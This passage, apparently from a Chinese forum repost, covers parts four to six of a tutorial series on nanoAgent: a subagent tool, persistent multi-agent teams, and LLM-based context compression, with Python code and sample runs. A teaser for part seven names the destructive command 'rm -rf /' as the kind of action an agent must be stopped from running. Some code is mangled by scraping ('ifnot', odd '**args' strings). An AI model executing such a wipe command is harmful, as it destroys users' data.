─┐│ tool │ ← 写入成功 │ 最近 6 条│ assist │ ← LLM 调用 read 验证 │ 完整保留│ tool │ ← 文件内容 ││ assist │ ← LLM 准备做最后总结 ││ user │ ← 当前操作 ─┘└────────┘核心思想就一句话:记住要点,忘掉细节,保留现场。四、代码实现:只有一个函数整个压缩逻辑只有一个函数 compact_messages(),约 30 行:COMPACT_THRESHOLD = 20 # 超过 20 条就压缩KEEP_RECENT = 6 # 保留最近 6 条不压缩def compact_messages(messages): if len(messages) <= COMPACT_THRESHOLD: return messages # 没超阈值,不压缩 system_msg = messages[0] # system prompt 永远保留 old_messages = messages[1:-KEEP_RECENT] # 旧消息 → 要被压缩 recent_messages = messages[-KEEP_RECENT:] # 最近的消息 → 保留原样 # 把旧消息拼成文本 old_text = "" for msg in old_messages: role = msg.get("role", "unknown") if isinstance(msg, dict) else getattr(msg, "role", "unknown") content = msg.get("content", "") if isinstance(msg, dict) else getattr(msg, "content", "") if content: old_text += f"[{role}]: {content}\n" # 调用 LLM 生成摘要 summary_response = client.chat.completions.create( model=MODEL, messages=[ {"role": "system", "content": "Summarize the following conversation history. Keep all important facts, file paths, command results, and decisions. Be concise but don't lose critical details."}, {"role": "user", "content": old_text} ] ) summary = summary_response.choices[0].message.content # 重新组装 return [ system_msg, {"role": "user", "content": f"[Previous conversation summary]: {summary}"}, {"role": "assistant", "content": "Understood. I have the context from our previous conversation. Let me continue."}, *recent_messages ]4.1 分三刀system_msg = messages[0] # 第一刀:切出 system promptold_messages = messages[1:-KEEP_RECENT] # 第二刀:切出旧消息(要压缩的)recent_messages = messages[-KEEP_RECENT:] # 第三刀:切出最近消息(要保留的)为什么 system prompt 要单独保留?因为它包含 Agent 的核心指令,压缩进摘要会丢失"你是谁、你能做什么"的基础设定。为什么最近 N 条不压缩?因为 Agent 当前正在进行的操作需要精确的上下文——比如上一条工具返回的文件内容、正在写入的文件路径。这些信息一旦被压缩成摘要,LLM 就无法精确引用了。4.2 用 LLM 做摘要summary_response = client.chat.completions.create( model=MODEL, messages=[ {"role": "system", "content": "Summarize... Keep all important facts..."}, {"role": "user", "content": old_text} ])这里有一个"套娃"——用 LLM 来压缩 LLM 的对话历史。这不是浪费吗?不是。因为这次 LLM 调用的唯一任务就是"总结",不带工具,输出简短,token 开销远小于把完整历史塞进每次请求。4.3 在循环中调用Agent 核心循环里只加了一行:def run_agent(user_message, max_iterations=30): messages = [...] for i in range(max_iterations): messages = compact_messages(messages) # ← 就这一行 response = client.chat.completions.create(...) ...每轮循环开始前检查一次。没超阈值就原样返回(零开销),超了就压缩。简洁到几乎不存在。五、压缩过程的实际观察以下是测试中观察到的 messages 数量变化(阈值设为 10):轮次 1: messages = 2 (system + user)轮次 2: messages = 4 (+ assistant + tool)轮次 3: messages = 6轮次 4: messages = 8轮次 5: messages = 10 ↓ 触发压缩!轮次 6: messages = 9 (system + 摘要 + ack + 最近6条)轮次 7: messages = 11 ↓ 再次触发压缩!轮次 8: messages = 9轮次 9: 任务完成messages 数量像锯齿波一样:涨到阈值 → 压缩回去 → 继续涨 → 再压缩。永远不会超过阈值太多,Agent 可以无限工作下去。六、压缩会丢信息吗?会。但关键是丢的是细节,不是要点。比如原始历史中有:[tool]: $ find . -name "*.py" | head -20./src/utils.py./src/main.py./src/config.py./tests/test_utils.py./tests/test_main.py(省略 15 个文件)压缩后摘要可能变成:在当前目录下找到了 20 个 Python 文件,分布在 src/ 和 tests/ 两个目录中。20 个具体文件名丢了,但"有 20 个文件、在 src/ 和 tests/ 下"这个关键事实保留了。对于 Agent 后续的决策(比如"接下来统计行数"),这个摘要已经足够。如果某个细节真的还需要呢?Agent 可以再次调用工具去获取。这就像人类的工作方式——"我记得上周查过这个目录有 20 个 Python 文件,但具体哪些我忘了,让我再 ls 一下。"七、压缩方案的对比:nanoAgent vs 业界nanoAgent 的压缩是最朴素的实现。业界的方案更加精细: 但核心思路完全一致:旧的压缩,近的保留,要点不丢。八、系列回顾:六篇文章的完整拼图前五篇是在给 Agent "加能力",第六篇是在解决加完能力后的"副作用"。能力越强、工具越多、协作越复杂,对话历史就越长——而压缩确保了这一切不会让 Agent 自我窒息。如果把 Agent 比作一个人:第一篇给了他手脚(工具)第二篇给了他笔记本(记忆)和地图(规划)第三篇给了他规章制度和工具箱第四篇让他能叫临时工帮忙第五篇让他组建正式团队第六篇教他学会"抓大放小"——记住要点、忘掉细节、轻装上阵但前六篇一直在回答"Agent 能做什么",有一个同样重要的问题我们还没回答:"Agent 不能做什么?" 当 Agent 试图执行 rm -rf / 时,谁来踩刹车?这就是 第七篇:安全与权限控制 的主题:三道安全防线,让 Agent 从"裸奔"变成"有保险的"。本文基于 agent-compact.py(GitHub 源码[2])分析。完整系列:第一篇[3] → 第二篇[4] → 第三篇[5] → 第四篇[6] → 第五篇[7] → 第六篇(本文) → 第七篇 相关链接[1]nanoAgent: cid:link_6[2]GitHub 源码: cid:link_5[3]第一篇: https://mp.weixin.qq.com/s/gz_vPvgTdozh4FO6vEdF-Q[4]第二篇: https://mp.weixin.qq.com/s/nbGrU9mEYrOFRt1End2nGw[5]第三篇: https://mp.weixin.qq.com/s/6ThsBKAi0RZGekgOzfDTdQ[6]第四篇: https://mp.weixin.qq.com/s/LCIc_cYDEF52tJ9q1yLMiw[7]第五篇: https://mp.weixin.qq.com/s/N7zvu3ecI600nqg27L5thw AGENT交流群,一起玩转AGENT
  • [技术干货] 从零开始理解 Agent(五):从临时工到正式团队——多智能体协作与编排
    欢迎阅读「从零开始理解 Agent」系列 —— 我们将从从一个极简开源项目 nanoAgent[1] 出发,逐层拆解 OpenClaw / Claude Code 等 AI Agent 背后的全部核心概念。第一篇:底层原理,只有 115 行 —— 工具 + 循环第二篇:记忆与规划 —— 182 行第三篇:Rules、Skills 与 MCP—— 265 行第四篇:SubAgent 子智能体 —— 192 行第五篇:多智能体协作与编排(本文)—— 270 行第六篇:上下文压缩—— 169 行第七篇:安全与权限控制 —— 219 行★ 项目地址:cid:link_5作者:十一上一篇我们实现了 SubAgent——主 Agent 可以临时派出一个"专家"来干活。但我们也明确定义了 SubAgent 的本质:一次性临时工,生成 → 干活 → 返回摘要 → 消亡,没有身份,没有记忆。这在很多场景下够用了。但想想现实中的软件开发团队:后端工程师写完 API 后,前端工程师需要知道接口长什么样;测试工程师发现 bug 后,需要告诉开发去修;开发修完后,测试还得再验一遍——同一个人,被多次找到,而且他还记得上次做了什么。SubAgent 做不到这些。每次调用都是一个全新的、失忆的临时工。那怎么办?答案是:从临时工升级为正式团队。★ 关于本篇代码的说明:和第四篇一样,本篇的 agent-teams.py 是我们新开发的文件(GitHub 源码[2]),不在 nanoAgent 原始仓库中。它在 agent-subagent.py 的基础上,用两个类(Agent + Team)实现了多智能体团队协作。一、临时工 vs 正式员工:差什么?要从临时工升级为正式团队,需要补齐三样东西:1. 能跨多轮对话存活的持久智能体 —— Agent 有记忆,被多次 chat() 调用时记得之前做过什么,不会像 SubAgent 那样每次都失忆2. 身份与生命周期管理 —— Agent 有名字、有角色,被创建(入职)、持续存活(干活)、最终解散(离职),而不是用完即弃3. 智能体之间的通信通道 —— Agent 之间可以互相发消息(点对点或广播),而不是彼此隔离、互相看不到接下来看代码怎么实现。二、核心实现:两个类搞定一切整个 agent-teams.py 只有 270 行,核心新增是两个类:Agent 和 Team。工具层(read/write/edit/bash)和 Agent 循环完全复用前几篇的代码。2.1 Agent 类:有状态的持久智能体先回忆 SubAgent 的实现——一个函数:# SubAgent(第四篇)—— 一个函数,用完就没def subagent(role, task): sub_messages = [...] # 局部变量,函数返回即消亡 for _ in range(10): ... return result # 返回后 sub_messages 被垃圾回收,一切归零现在看 Teams 中的 Agent——一个类:class Agent: def __init__(self, name, role): self.name = name # 身份:有名字 self.role = role # 身份:有角色 self.inbox = [] # 通信:收件箱 self.messages = [ # 记忆:持久保持 {"role": "system", "content": f"You are {name}, a {role}. Be concise and focused."} ]区别只有一个,但意义巨大:messages 从函数的局部变量变成了对象的实例属性。局部变量在函数返回后就被垃圾回收。实例属性只要对象还活着,就一直在。这意味着你可以对同一个 Agent 多次调用 chat(),每次的对话历史都会累积在 self.messages 中——Agent 记得之前做过什么。2.2 chat( ) 方法:带收件箱的 Agent 循环def chat(self, task): # 第 1 步:如果 inbox 有新消息,先读取并消化 if self.inbox: mail = "\n".join(f"[来自 {m['from']}]: {m['content']}"for m in self.inbox) self.messages.append({"role": "user", "content": f"你收到了团队成员的消息:\n{mail}"}) resp = client.chat.completions.create(model=MODEL, messages=self.messages) self.messages.append(resp.choices[0].message) self.inbox.clear() # 第 2 步:执行本次任务(和之前的 Agent 循环一样) self.messages.append({"role": "user", "content": task}) for _ in range(10): response = client.chat.completions.create(model=MODEL, messages=self.messages, tools=tools) message = response.choices[0].message self.messages.append(message) ifnot message.tool_calls: return message.content for tc in message.tool_calls: # ... 执行工具,追加结果(和第一篇完全一样)关键在第 1 步:每次 chat() 开始前,Agent 会先检查收件箱。如果有其他 Agent 发来的消息,就先读取、消化(让 LLM 处理一下),然后清空收件箱。这样 Agent 在执行任务时,已经知道了队友们的最新进展。2.3 receive() 方法:通信通道def receive(self, sender, message): self.inbox.append({"from": sender, "content": message})就这一行。往收件箱里追加一条消息。简单到不需要解释。三、Team 类:生命周期管理与通信编排class Team: def __init__(self): self.agents = {} # name → Agent def hire(self, name, role): """招募:创建一个持久 Agent""" agent = Agent(name, role) self.agents[name] = agent return agent def send(self, from_name, to_name, message): """点对点通信""" self.agents[to_name].receive(from_name, message) def broadcast(self, from_name, message): """广播:给团队所有其他人发消息""" for name, agent in self.agents.items(): if name != from_name: agent.receive(from_name, message) def disband(self): """解散:所有 Agent 生命周期结束""" self.agents.clear()四个方法,对应团队协作的四个动作:四、完整协作流程def run_team(task): team = Team() # 第 1 阶段:组建团队 members = plan_team(task) # LLM 自动拆分角色 for m in members: team.hire(m["name"], m["role"]) # 第 2 阶段:逐个执行,每人干完广播成果 for m in members: agent = team.agents[m["name"]] result = agent.chat(m["task"]) team.broadcast(m["name"], f"我完成了任务。摘要: {result[:200]}") # 第 3 阶段:最后一个成员做二次审查 reviewer = team.agents[members[-1]["name"]] review = reviewer.chat("请根据团队成果做最终审查") # 第 4 阶段:解散 team.disband()用一个具体例子来说明。假设输入 "创建一个 TODO 应用,包含 Python 后端和 HTML 前端":[PM] 分析任务,组建团队...[团队] 3 人: 1. alice — backend developer → 用 FastAPI 创建 TODO 后端 API 2. bob — frontend developer → 创建 HTML 前端页面 3. carol — test engineer → 验证前后端能正常工作============================================================ 第 1 阶段: 招募团队============================================================ [创建] alice (backend developer) [创建] bob (frontend developer) [创建] carol (test engineer)============================================================ 第 2 阶段: 协作开发============================================================── [1/3] alice 开始工作 ── [alice] write({"path": "app.py", ...}) [alice] → 已创建 app.py,包含 GET/POST/DELETE 三个接口... [广播] alice → 全体: 我完成了任务。摘要: 已创建 app.py...── [2/3] bob 开始工作 ── (bob 的 inbox 里有 alice 的广播,他知道后端接口长什么样) [bob] write({"path": "index.html", ...}) [bob] → 已创建 index.html,调用了 alice 定义的 API 接口... [广播] bob → 全体: 我完成了任务。摘要: 已创建 index.html...── [3/3] carol 开始工作 ── (carol 的 inbox 里有 alice 和 bob 的广播) [carol] read({"path": "app.py"}) [carol] read({"path": "index.html"}) [carol] bash({"command": "python -c 'import app; print(\"OK\")'"}) [carol] → 后端代码语法正确,前端页面已创建,接口调用地址匹配... [广播] carol → 全体: 我完成了任务。摘要: 验证通过...============================================================ 第 3 阶段: carol 做最终审查============================================================ (carol 被第二次调用 chat(),她还记得第一次测试的结果) [carol] → 最终审查:后端 app.py 包含 3 个接口(GET/POST/DELETE), 前端 index.html 已正确引用后端地址,代码验证通过,可以交付。 注意 carol 被调用了两次 chat() :第一次做测试,第二次做审查。第二次时她还记得第一次做了什么——这就是"持久记忆"的价值。SubAgent 做不到这一点,因为每次调用都是一个全新的、失忆的函数。五、三大核心能力的代码对照回到开头提出的三个要求,逐一对照:能力 1:能跨多轮对话存活的持久智能体# SubAgent:局部变量,函数返回即消亡def subagent(role, task): sub_messages = [...] # 🔴 生命周期 = 这个函数调用 ... return result # sub_messages 被回收# Teams Agent:实例属性,对象存活就一直在class Agent: def __init__(self, ...): self.messages = [...] # 🟢 生命周期 = Agent 对象的生命周期 def chat(self, task): self.messages.append(...) # 每次调用都往同一个列表里追加 ... # 第 1 次 chat():messages = [system, user1, assistant1] # 第 2 次 chat():messages = [system, user1, assistant1, user2, assistant2] # Agent 在第 2 次时能看到第 1 次的全部历史能力 2:身份与生命周期管理team = Team()# 入职:Agent 被创建,开始存活alice = team.hire("alice", "backend developer")bob = team.hire("bob", "frontend developer")# 存活期间:可以多次交互alice.chat("创建后端 API")alice.chat("添加认证中间件") # alice 记得第一次创建的 API# 解散:所有 Agent 生命周期结束team.disband() # alice、bob 都消亡了能力 3:智能体之间的通信通道# 点对点:alice 告诉 bob 接口格式team.send("alice", "bob", "API 接口: GET /todos, POST /todos")# 广播:alice 告诉所有人team.broadcast("alice", "后端已完成,接口文档见 API.md")# bob 下次 chat() 时,会先读 inbox 中的消息bob.chat("创建前端页面") # bob 已经知道了 API 接口格式六、SubAgent vs Teams:什么时候用哪个?五篇文章,从一个 115 行的极简 Agent 出发,逐层叠加能力:从第四篇的 subagent() 函数到第五篇的 Agent 类,变化只有一个:messages 从局部变量变成了实例属性。但这一个变化,让 Agent 从"用完即弃的临时工"进化为了"有记忆、有身份、能协作的团队成员"。 这就是软件工程中最朴素的道理:数据放在哪里,决定了它的生命周期;生命周期决定了能力边界。但能力越强,副作用也越大——Agent 干的活越多、协作越复杂,messages 就越长。长到撑爆 LLM 的 context window 怎么办?在 第六篇:上下文压缩 中,我们用一个 30 行的函数来解决这个"自我窒息"问题。本文基于 agent-teams.py(GitHub 源码[2])分析。完整系列:第一篇[3] → 第二篇[4] → 第三篇[5] → 第四篇[6] → 第五篇(本文) → 第六篇相关链接[1] nanoAgent: cid:link_5[2] GitHub 源码: cid:link_4[3] 第一篇: https://mp.weixin.qq.com/s/gz_vPvgTdozh4FO6vEdF-Q[4] 第二篇: https://mp.weixin.qq.com/s/nbGrU9mEYrOFRt1End2nGw[5] 第三篇: https://mp.weixin.qq.com/s/6ThsBKAi0RZGekgOzfDTdQ[6] 第四篇: https://mp.weixin.qq.com/s/LCIc_cYDEF52tJ9q1yLMiwAGENT交流群,一起玩转AGENT 
  • [技术干货] 从零开始理解 Agent(四):给 Agent 找个帮手——最简 SubAgent 实现
     欢迎阅读「从零开始理解 Agent」系列 —— 我们将通过一个不到 300 行的开源项目 nanoAgent[1],逐层拆解 OpenClaw / Claude Code 等 AI Agent 背后的全部核心概念。第一篇:底层原理,只有 115 行 —— 工具 + 循环第二篇:记忆与规划 —— 182 行第三篇:Rules、Skills 与 MCP —— 265 行第四篇:最简 SubAgent 实现(本文)—— 新开发,192 行第五篇:多智能体协作与编排 —— 270 行第六篇:上下文压缩 —— 169 行第七篇:安全与权限控制—— 219 行 ★ 项目地址:cid:link_4作者:十一 前三篇,我们一路把 Agent 从"会用工具"进化到了"有记忆、会规划、能扩展"。但到目前为止,所有版本都有一个共同特点:永远只有一个 Agent 在干活。想象一下这个场景:你让 Agent "搭建一个博客系统,前端用 React,后端用 FastAPI,数据库用 SQLite"。一个 Agent 要同时精通前端、后端、数据库——它可以做到,但很容易顾此失彼,上下文越来越长,后面写前端的时候把前面后端的细节忘了。现实中我们怎么解决这类问题?找帮手,分工合作。这就是 SubAgent(子智能体)的核心思想:主 Agent 当项目经理,把子任务委派给拥有不同专业身份的 SubAgent,各管一块,互不干扰。★ 关于本篇代码的说明:前三篇分析的 agent.py、agent-plus.py、agent-claudecode.py 都来自 nanoAgent 原始仓库。本篇的 agent-subagent.py 是我们在 agent-claudecode.py 基础上新开发的文件(GitHub 源码[2]),专门用来演示 SubAgent 机制。你可能注意到它只有 192 行,反而比第三篇的 265 行更少了。这是刻意为之——为了让 SubAgent 的核心逻辑尽可能通俗易懂,我们去掉了 Plan(规划)功能,只保留基础工具 + 记忆 + SubAgent。少即是多:去掉 Plan 相关的全局变量、递归调用和特殊分支后,核心循环 run_agent 从 35 行简化到了 12 行,整个代码一目了然。一、一个生活类比秒懂 SubAgent之前(一个人干所有活): 老板 → "小张,你把前端后端数据库全搞定" 小张(一个人扛所有) - 写后端 API... - 写前端页面...(等等,后端那个接口叫啥来着?) - 建数据库表...(前端那个字段是什么格式?) 现在(项目经理 + 专人): 老板 → 项目经理(主 Agent) │ ├── "后端用 FastAPI" → 后端工程师(SubAgent A) ├── "前端用 React" → 前端工程师(SubAgent B) └── "验证能跑通" → 测试工程师(SubAgent C) 每个人只管自己的事,干完把结果交给项目经理汇总。但要注意一个关键点:这个类比不完全准确。现实中的员工有名字、有工位、有记忆,下次还能找他。SubAgent 不是这样的。 SubAgent 的生命周期是:生成 → 接收任务 → 干活(可以调用工具)→ 返回结果摘要 → 消亡一次性的。 没有持久身份,没有跨调用的记忆。主 Agent 第一次派出的"后端工程师"和第二次派出的"后端工程师"之间没有任何关联——它们是两个完全独立的、用完就扔的临时工。这个"用完即弃"的设计是刻意的:SubAgent 解决的是单次任务内的分工问题,不是长期协作问题。它的价值在于给子任务一个干净的上下文和专注的角色,而不是构建一个持久的团队。二、在代码里怎么实现?如果你读过前三篇,这个实现可能会让你惊讶——核心新增只有大约 30 行代码。为什么这么少?因为前三篇已经把所有基础设施搭好了:工具系统(第一篇)、Agent 循环(第一篇)、工具路由表(第一篇)、记忆(第二篇)。SubAgent 要做的,只是复用这些基础设施,再启动一个独立的 Agent 循环。(由于我们去掉了 Plan 功能来保持代码简洁,整个 agent-subagent.py 只有 192 行,核心循环干净到只有 12 行——这让 SubAgent 的逻辑完全没有噪音干扰。)2.1 新增一个工具定义还记得第一篇中的核心洞察吗?★LLM 本身不会执行任何代码。它只是根据工具说明书,输出一段结构化的 JSON。真正的执行发生在我们的 Python 代码里。SubAgent 也不例外。我们要做的第一步,就是写一份"工具说明书"告诉 LLM:"你有一个叫 subagent 的工具,可以指定角色和任务来委派子任务":{ "name": "subagent", "description": "Delegate a task to a specialized sub-agent with its own role and independent context.", "parameters": { "type": "object", "properties": { "role": {"type": "string", "description": "The sub-agent's specialty, e.g. 'Python backend developer'"}, "task": {"type": "string", "description": "The specific task to delegate"} }, "required": ["role", "task"] } }就这么一个 JSON。和 read、write、bash 等工具完全一样的格式——对 LLM 来说,subagent 就是"又一个工具",没有任何特殊之处。2.2 实现 subagent 函数def subagent(role, task): """启动一个独立的 Agent 循环,拥有专属角色和独立上下文""" print(f"\n[SubAgent:{role}] 开始: {task}") # 关键 1:独立的 messages,独立的 system prompt sub_messages = [ {"role": "system", "content": f"You are a {role}. Be concise and focused. Only do what is asked."}, {"role": "user", "content": task} ] # 关键 2:排除 subagent 自身,防止无限递归 sub_tools = [t for t in tools if t["function"]["name"] != "subagent"] # 关键 3:一个完整的 Agent 循环(和第一篇的核心循环一模一样) for _ in range(10): response = client.chat.completions.create( model=MODEL, messages=sub_messages, tools=sub_tools ) message = response.choices[0].message sub_messages.append(message) ifnot message.tool_calls: print(f"[SubAgent:{role}] 完成") return message.content for tc in message.tool_calls: fn = tc.function.name args = json.loads(tc.function.arguments) print(f" [SubAgent:{role}] {fn}({args})") result = available_functions[fn](**args "fn") sub_messages.append({"role": "tool", "tool_call_id": tc.id, "content": result}) return"SubAgent: max iterations reached"2.3 注册到路由表available_functions["subagent"] = subagent完了。就这些。三、等一下——代码里没有调用 subagent 的地方?如果你仔细看完整个代码,会发现一件"奇怪"的事:没有任何地方主动调用 subagent() 函数。没有 if task == "复杂任务": subagent(...),没有任何预编排逻辑。这正是 Agent 和传统程序的根本区别,也是贯穿这整个系列的核心设计思想。让我用一张图还原 subagent 被调用的完整链路:用户: "创建一个 TODO 应用,包含 Python 后端和 HTML 前端" │ ▼ 主 Agent 的 run_agent() 循环启动 │ ▼ (1) 代码把 messages + tools 列表发送给 LLM tools 列表里包含: [read, write, edit, glob, grep, bash, subagent] ^^^^^^^^ LLM 看到了这个工具 │ ▼ (2) LLM 分析任务,决定委派,返回: {"tool_calls": [{"function": {"name": "subagent", "arguments": {"role": "Python backend developer", "task": "用 FastAPI 创建..."}}}]} │ ▼ (3) 核心循环中的通用调度代码执行: fn = "subagent" args = {"role": "Python backend developer", "task": "..."} result = available_functions["subagent"](**args ""subagent"") ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 走到了我们写的 subagent() 函数! │ ▼ (4) subagent() 内部启动一个全新的 Agent 循环 - 独立的 system prompt: "You are a Python backend developer." - 独立的 messages 列表 - 可以使用 read/write/edit/bash 等工具 - 循环结束后,返回结果文本 │ ▼ (5) 结果返回给主 Agent,主 Agent 可能继续派出前端 SubAgent...关键在第 (3) 步——available_functions["subagent"](**args ""subagent"") 这行代码。它和 available_functions["bash"](**args ""bash"") 走的是完全相同的调度路径。在核心循环眼里,subagent 和 bash 没有任何区别,都是"LLM 说要调用,那我就执行"。控制流在 LLM 手里,不在代码里。 代码只提供能力(注册工具),LLM 决定何时使用。四、三个关键设计决策4.1 为什么 SubAgent 要有独立的 messages?# 主 Agent 的 messages(可能已经很长了) messages = [system, user, assistant, tool, assistant, tool, ...] # SubAgent 创建全新的 messages(从零开始) sub_messages = [ {"role": "system", "content": f"You are a {role}. ..."}, {"role": "user", "content": task} ]还记得第二篇中的"短期记忆"概念吗?messages 列表就是 Agent 的短期记忆。如果 SubAgent 共享主 Agent 的 messages,它会看到所有历史——前端 SubAgent 会被后端的代码细节干扰,上下文越来越长,token 开销越来越大。独立的 messages 意味着:SubAgent 只知道自己的角色和任务,保持专注。而且这个 sub_messages 在函数返回后就被垃圾回收了——SubAgent 没有任何持久记忆,干完活就消亡,下次调用是一个全新的 SubAgent。4.2 为什么 SubAgent 有不同的 system prompt?# 主 Agent: 协调者 "You are an orchestrator agent. You can delegate to sub-agents..." # SubAgent: 专家 f"You are a {role}. Be concise and focused. Only do what is asked."第三篇中我们讲了 Rules——用声明式文件定制 Agent 的行为。SubAgent 的 system prompt 是同一个思路的极简版:通过不同的角色描述,让同一个 LLM 展现出不同的专业行为。当 role 是 "Python backend developer" 时,LLM 会倾向于用 FastAPI/Flask,写 RESTful 接口;当 role 是 "frontend developer" 时,LLM 会倾向于写 HTML/CSS/JavaScript。同一个模型,不同的人格。4.3 为什么要排除 subagent 工具?sub_tools = [t for t in tools if t["function"]["name"] != "subagent"]这和第三篇中 plan 工具排除自身是同样的思路——防止无限递归。如果 SubAgent 也能派出自己的 SubAgent,而那个 SubAgent 又派出自己的……就会无限嵌套下去。一行代码,一个过滤,问题解决。五、实际运行效果假设用户输入:python agent-subagent.py "创建一个简单的 TODO 应用,包含 Python 后端和 HTML 前端"终端输出大致如下:[Tool] subagent({"role": "Python backend developer", "task": "创建一个 FastAPI ..."}) ================================================== [SubAgent:Python backend developer] 开始: 创建一个 FastAPI 后端... ================================================== [SubAgent:Python backend developer] write({"path": "app.py", ...}) [SubAgent:Python backend developer] bash({"command": "pip install fastapi"}) [SubAgent:Python backend developer] 完成 [Tool] subagent({"role": "frontend developer", "task": "创建一个 HTML 前端..."}) ================================================== [SubAgent:frontend developer] 开始: 创建一个 HTML 前端... ================================================== [SubAgent:frontend developer] write({"path": "index.html", ...}) [SubAgent:frontend developer] 完成 已完成 TODO 应用的创建: - app.py: FastAPI 后端,包含 GET/POST/DELETE 接口 - index.html: 前端页面,包含添加和删除功能注意两个关键现象:主 Agent 自己一行代码都没写。 它只做了两件事:调用 subagent 委派后端任务,再调用 subagent 委派前端任务,最后汇总结果。两个 SubAgent 各管各的。 后端 SubAgent 在写 app.py 时,前端 SubAgent 还不存在。前端 SubAgent 启动时,有自己全新的上下文,不会被后端的细节干扰。六、SubAgent vs 之前的方案:什么时候用哪个?SubAgent 和 Plan 最大的区别:七、系列总结:从 115 行到完整 Agent 架构四篇文章,我们从零搭建了一个完整的 Agent 认知体系:┌───────────────────────────────────────────────────────┐ │ Agent 架构全景 │ │ │ │ ┌──────────────┐ 第四篇 (本文) │ │ │ SubAgent │ 多智能体协作 ── subagent() 工具 │ │ ├──────────────┤ 第三篇 │ │ │ Rules │ 行为约束层 ──── .agent/rules/ │ │ │ Skills │ 技能知识层 ──── .agent/skills/ │ │ │ MCP │ 工具扩展层 ──── .agent/mcp.json │ │ ├──────────────┤ 第二篇 │ │ │ Memory │ 持久记忆层 ──── agent_memory.md │ │ │ Planning │ 任务分解层 ──── create_plan() │ │ ├──────────────┤ 第一篇 │ │ │ LLM │ 推理决策层 ──── OpenAI API │ │ │ Tools │ 工具执行层 ──── bash/read/write │ │ │ Loop │ 核心循环层 ──── for + tool_calls │ │ └──────────────┘ │ └───────────────────────────────────────────────────────┘★ 注:前三个文件来自 nanoAgent 原始仓库[3]。第四个文件是本文新开发的(GitHub 源码),为了聚焦 SubAgent 核心逻辑,刻意去掉了 Plan 功能,因此行数反而比第三篇少。这不是倒退,而是做减法——用最干净的代码展示最核心的概念。四个维度叠加,就构成了 OpenClaw、Claude Code、Cursor Agent、Devin 等产品的完整架构。而贯穿整个系列的核心设计思想只有一个:一切能力都是"工具"。 读文件是工具,写文件是工具,搜索是工具,规划是工具(第三篇),甚至派出一个子智能体也是工具(本文)。LLM 通过统一的 Function Calling 协议按需调用它们,代码通过统一的路由表(available_functions)执行它们。 但 SubAgent 的"一次性"本质也带来了局限:它们之间无法通信,不记得上次做了什么,无法被多次调用。当任务需要真正的团队协作——你写完我来接、测出 bug 你去改、改完我再测——就需要把临时工升级为正式员工。 这就是第五篇:多智能体协作与编排的主题:用两个类(Agent + Team)实现持久记忆、身份管理和通信通道。本文基于 sanbuphy/nanoAgent 的架构扩展。完整系列:第一篇:底层原理 → 第二篇:记忆与规划 → 第三篇:Rules、Skills 与 MCP → 第四篇:SubAgent(本文) → 第五篇:多智能体协作 相关链接[1] nanoAgent: cid:link_4[2] GitHub 源码: cid:link_3[3] nanoAgent 原始仓库: cid:link_4 AGENT交流群,一起玩转AGENT